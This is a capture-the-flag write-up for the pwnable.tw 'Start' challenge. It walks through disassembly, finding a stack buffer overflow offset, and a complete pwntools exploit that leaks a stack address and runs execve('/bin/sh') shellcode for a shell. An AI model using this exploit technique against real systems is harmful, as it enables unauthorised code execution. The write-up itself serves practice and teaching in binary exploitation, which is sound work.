writeup

Challenge Information

Analysis

1
[*] '/home/alter/pwn/pwnable.tw/start/start'
2
    Arch:       i386-32-little
3
    RELRO:      No RELRO
4
    Stack:      No canary found
5
    NX:         NX disabled
6
    PIE:        No PIE (0x8048000)
7
    Stripped:   No

We begin by analyzing the binary, which lacks any protection mechanisms. The NX bit is disabled, meaning that we can consider a shellcode injection approach. To better understand how the binary operates, let’s examine it in GDB.

1
pwndbg> info fun
2
All defined functions:
3

4
Non-debugging symbols:
5
0x08048060  _start
6
0x0804809d  _exit
7
0x080490a3  __bss_start
8
0x080490a3  _edata
9
0x080490a4  _end

From this output, we can see that the binary is quite minimal, and notably, it does not contain a main function. This suggests that the binary was likely handcrafted specifically for this challenge. Because of its small size and simplicity, reverse engineering it should be straightforward. Since _start is the entry point of the binary, so let’s disassemble it to see what it does:

1
pwndbg> disass _start
2
Dump of assembler code for function _start:
3
   0x08048060 <+0>:     push   esp
4
   0x08048061 <+1>:     push   0x804809d
5
   0x08048066 <+6>:     xor    eax,eax
6
   0x08048068 <+8>:     xor    ebx,ebx
7
   0x0804806a <+10>:    xor    ecx,ecx
8
   0x0804806c <+12>:    xor    edx,edx
9
   0x0804806e <+14>:    push   0x3a465443
10
   0x08048073 <+19>:    push   0x20656874
11
   0x08048078 <+24>:    push   0x20747261
12
   0x0804807d <+29>:    push   0x74732073
13
   0x08048082 <+34>:    push   0x2774654c
14
   0x08048087 <+39>:    mov    ecx,esp
15
   0x08048089 <+41>:    mov    dl,0x14
16
   0x0804808b <+43>:    mov    bl,0x1
17
   0x0804808d <+45>:    mov    al,0x4
18
   0x0804808f <+47>:    int    0x80
19
   0x08048091 <+49>:    xor    ebx,ebx
20
   0x08048093 <+51>:    mov    dl,0x3c
21
   0x08048095 <+53>:    mov    al,0x3
22
   0x08048097 <+55>:    int    0x80
23
   0x08048099 <+57>:    add    esp,0x14
24
   0x0804809c <+60>:    ret
25
End of assembler dump.

Let’s break it out to have more information about it:

First it clear the registers for doing syscall purpose:

1
   0x08048066 <+6>:     xor    eax,eax
2
   0x08048068 <+8>:     xor    ebx,ebx
3
   0x0804806a <+10>:    xor    ecx,ecx
4
   0x0804806c <+12>:    xor    edx,edx

Then push the value to the stack:

1
00:0000│ esp 0xffffce74 ◂— 0x2774654c ("Let'")
2
01:0004│     0xffffce78 ◂— 0x74732073 ('s st')
3
02:0008│     0xffffce7c ◂— 0x20747261 ('art ')
4
03:000c│     0xffffce80 ◂— 0x20656874 ('the ')
5
04:0010│     0xffffce84 ◂— 0x3a465443 ('CTF:')

Next is using write syscall to write out 0x14 bytes data point by esp:

1
   0x08048087 <+39>:    mov    ecx,esp
2
   0x08048089 <+41>:    mov    dl,0x14
3
   0x0804808b <+43>:    mov    bl,0x1
4
   0x0804808d <+45>:    mov    al,0x4
5
   0x0804808f <+47>:    int    0x80

And finally read our input using read syscall:

1
   0x08048091 <+49>:    xor    ebx,ebx
2
   0x08048093 <+51>:    mov    dl,0x3c
3
   0x08048095 <+53>:    mov    al,0x3
4
   0x08048097 <+55>:    int    0x80

And seem like there’s Buffer Overflow here so I tried with a very large padding for test:

1
pwndbg> cyclic 0x3c
2
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
3
pwndbg> r
4
Starting program: /home/alter/pwn/pwnable.tw/start/start
5
Let's start the CTF:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa
5 collapsed lines
6

7
Program received signal SIGSEGV, Segmentation fault.
8
0x61616166 in ?? ()
9
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
10
──────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
11
 EAX  0x3c
12
 EBX  0
13
 ECX  0xffffce74 ◂— 0x61616161 ('aaaa')
14
 EDX  0x3c
15
 EDI  0
16
 ESI  0
17
 EBP  0
18
 ESP  0xffffce8c ◂— 0x61616167 ('gaaa')
19
 EIP  0x61616166 ('faaa')
6 collapsed lines
20
────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
21
Invalid address 0x61616166
22

23

24

25
────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────
26
00:0000│ esp 0xffffce8c ◂— 0x61616167 ('gaaa')
27
01:0004│     0xffffce90 ◂— 0x61616168 ('haaa')
28
02:0008│     0xffffce94 ◂— 0x61616169 ('iaaa')
29
03:000c│     0xffffce98 ◂— 0x6161616a ('jaaa')
30
04:0010│     0xffffce9c ◂— 0x6161616b ('kaaa')
31
05:0014│     0xffffcea0 ◂— 0x6161616c ('laaa')
32
06:0018│     0xffffcea4 ◂— 0x6161616d ('maaa')
33
07:001c│     0xffffcea8 ◂— 0x6161616e ('naaa')
3 collapsed lines
34
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────
35
 ► 0 0x61616166 None
36
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
37
pwndbg>
38
pwndbg> cyclic -l faaa
39
Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161)
40
Found at offset 20

And yes! We got the offset!

Exploit Development

The problem here is that we know we can inject the shellcode, but how can we get it to execute? My idea is to find a way to leak an address from somewhere and then calculate the starting address of our shellcode. So let’s see what gadgets we have:

1
$ ropper -f start
2
[INFO] Load gadgets from cache
3
[LOAD] loading... 100%
4
[LOAD] removing double gadgets... 100%
5

6
Gadgets
7
=======
8

9
0x0804809b: adc al, 0xc3; pop esp; xor eax, eax; inc eax; int 0x80;
10
0x08048099: add esp, 0x14; ret;
11
0x080480a0: inc eax; int 0x80;
12
0x0804808f: int 0x80;
13
0x08048097: int 0x80; add esp, 0x14; ret;
14
0x08048085: je 0xae; mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80;
15
0x0804809a: les edx, ptr [ebx + eax*8]; pop esp; xor eax, eax; inc eax; int 0x80;
16
0x08048095: mov al, 3; int 0x80;
17
0x08048095: mov al, 3; int 0x80; add esp, 0x14; ret;
18
0x0804808d: mov al, 4; int 0x80;
19
0x0804808b: mov bl, 1; mov al, 4; int 0x80;
20
0x08048089: mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80;
21
0x08048093: mov dl, 0x3c; mov al, 3; int 0x80;
22
0x08048093: mov dl, 0x3c; mov al, 3; int 0x80; add esp, 0x14; ret;
23
0x08048087: mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80;
24
0x0804809d: pop esp; xor eax, eax; inc eax; int 0x80;
25
0x08048090: xor byte ptr [ecx], 0xdb; mov dl, 0x3c; mov al, 3; int 0x80;
26
0x08048090: xor byte ptr [ecx], 0xdb; mov dl, 0x3c; mov al, 3; int 0x80; add esp, 0x14; ret;
27
0x0804809e: xor eax, eax; inc eax; int 0x80;
28
0x08048091: xor ebx, ebx; mov dl, 0x3c; mov al, 3; int 0x80;
29
0x08048091: xor ebx, ebx; mov dl, 0x3c; mov al, 3; int 0x80; add esp, 0x14; ret;
30
0x08048086: daa; mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80;
31
0x0804809c: ret;
32

33
23 gadgets found

Hmmm, interesting. It seems there aren’t many useful gadgets, as I had guessed. It took me a lot of time to figure out how to use these gadgets effectively. Finally, I found one that found:

1
0x08048086: daa; mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80;

This gadget has a useful property—it can print out the value at the top of the stack. If we look back at our analysis, we can see that this is part of the write syscall we examined earlier. And once we have the leak address just calculate back to our input buf and put the shellcode there and let the program return back to our shellcode (The program lets us input data a second time because we use gadgets in the _start function and it will perform all its instructions until it encounters ret)


22 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwncus import *
4

5
context.log_level = 'debug'
6
exe = context.binary = ELF('./start', checksec=False)
7
context.arch = 'i386'
8

9
def start(argv=[], *a, **kw):
10
    if args.GDB:
11
        return gdb.debug([exe.path] + argv, gdbscript='''
12

13
        b*0x08048097
14
        c
15
        '''.format(**locals()), *a, **kw)
16
    elif args.REMOTE:
17
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
18
    else:
19
        return process([exe.path] + argv, *a, **kw)
20

21
p = start()
22

23
# ==================== EXPLOIT ====================
24

25
'''
26
0x08048086: daa; mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80;
27
'''
28

29
def exploit():
30

31
    offset = 20
32
    print_stack = 0x08048086
33

34
    pl = cyclic(offset) + p32(print_stack)
35

36
    ru(b'CTF:')
37
    s(pl)
38

39
    stack_leak = u32(p.recv(4))
40
    slog('Stack leak', stack_leak)
41

42
    shellcode = asm('''
43
        mov al, 0xb
44
        mov ebx, esp
45
        xor ecx, ecx
46
        xor edx, edx
47
        int 0x80
48
        ''')
49

50
    pl = shellcode.ljust(20, b'\x00') + p32(stack_leak - 4) + b'/bin/sh\0'
51
    s(pl)
52

53
    interactive()
54

55
if __name__ == '__main__':
56
  exploit()

P/S: My first shellcode didn’t look like this, but for some reason, it was still able to execute execve. So, I changed my approach to injecting /bin/sh.

[PWNABLE.TW] - Start

Challenge Information

Analysis

Exploit Development